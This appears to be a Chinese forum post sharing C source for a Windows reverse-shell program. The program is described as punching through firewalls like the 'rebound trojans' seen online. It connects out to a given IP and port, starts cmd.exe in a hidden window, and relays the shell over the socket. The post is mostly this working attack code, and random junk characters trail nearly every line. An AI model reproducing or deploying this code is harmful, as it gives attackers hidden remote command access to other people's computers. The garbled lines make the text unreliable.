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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 }qPhx6nP  
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/* ============================== m@xi0t  
Rebound port in Windows NT ;-mdi/*g  
By wind,2006/7 1'w:`/_  
===============================*/ !|wzf+V  
#include eOl KbJU  
#include |?m` xO  
tV;% J4E'  
#pragma comment(lib,"wsock32.lib") HaNboYW_K  
/)|X.D  
void OutputShell(); v@ C,RP9  
SOCKET sClient; 7()?C}Ni-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; gz#4{iT~  
f?fKhu2  
void main(int argc,char **argv) >%b\yl%0  
{ SqPtWEq@P  
WSADATA stWsaData; B~WtZ-%%E  
int nRet; Dma.r  
SOCKADDR_IN stSaiClient,stSaiServer; `\$8`Zb;  
A/*%J74v  
if(argc != 3) %"3 )TN4  
{ ~.tvrx g  
printf("Useage:\n\rRebound DestIP DestPort\n"); UV7%4xM5v  
return; "u^EleE!  
} m$Y :0_^-  
=J'P.  
WSAStartup(MAKEWORD(2,2),&stWsaData); Qu*1g(el!o  
_cI_#  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |(IO=V4P  
0OZMlt%z  
stSaiClient.sin_family = AF_INET; h,t|V}Wb  
stSaiClient.sin_port = htons(0); .=R lOK  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?2J?XS>  
x!TZ0fq0  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) jRZ%}KX  
{ |WQ9a' '  
printf("Bind Socket Failed!\n"); qc-,+sn(  
return; 5fjd{Y[k  
} h^|5|l  
z5cYyx r>  
stSaiServer.sin_family = AF_INET; &k>aP0k"  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); j.?:Gaab?#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); w_-+o^  
1TJ0D_,  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m9$:9yRm  
{ D9ufoa&ua  
printf("Connect Error!"); cSD{$B:  
return; 93%{scrm  
} LgqGVh3\s  
OutputShell(); 3!9 Z=- tD  
} ^JeMuU  
Un=a fX?j  
void OutputShell() \{|ImCH  
{ r#876.JK  
char szBuff[1024]; w<wV]F*  
SECURITY_ATTRIBUTES stSecurityAttributes; OKue" p  
OSVERSIONINFO stOsversionInfo; sRRI3y@  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; |H)cuZ  
STARTUPINFO stStartupInfo; _GaJXWMbk  
char *szShell; +c,[ Q  
PROCESS_INFORMATION stProcessInformation; ETw]! br  
unsigned long lBytesRead; t%0?N<9YkU  
I*)VZW  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >9K//co"of  
n]? WCG}cd  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ww9;UP'G  
stSecurityAttributes.lpSecurityDescriptor = 0; j BS4vvX?  
stSecurityAttributes.bInheritHandle = TRUE; .(Y6$[#@  
_^!vCa7f  
Opg#*w%-  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); [ = M%  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4jwu'7 Q  
= 7/-i  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); u=K2Q4  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~UMOT!4}3  
stStartupInfo.wShowWindow = SW_HIDE; t8J/\f=  
stStartupInfo.hStdInput = hReadPipe; F@W*\3)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '5.\#=S1  
}0/a\  
GetVersionEx(&stOsversionInfo); F 1W+o?B  
)c<6Sfp^B  
switch(stOsversionInfo.dwPlatformId) b)} +>Wx  
{ 4MvC]_&  
case 1: Ej(2w Q  
szShell = "command.com"; n'w,n1z7  
break; @'jf KW  
default: "~+.Af  
szShell = "cmd.exe"; :hqZPajE  
break; hl/itSl$  
} a|qsQ'1,;  
MK$Jj "  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); q?  z>  
<4X?EYaTq  
send(sClient,szMsg,77,0); =:7$/T'Qg  
while(1) [?KIN_e#  
{ 'CV^M(o'9  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vgG}d8MW37  
if(lBytesRead) ;)/@Xx  
{ J\`^:tcG  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); EA0iYzV  
send(sClient,szBuff,lBytesRead,0); K&`Awv  
} ohZx03  
else x7ATI[b[  
{ NPU^) B  
lBytesRead=recv(sClient,szBuff,1024,0); S7sb7c'4 k  
if(lBytesRead<=0) break; \9m*(_Qf  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ?Myh 7  
} O.\h'3C  
} @)0 Y~A )  
uH{'gd,q8  
return; 5w3Fqu>39?  
}
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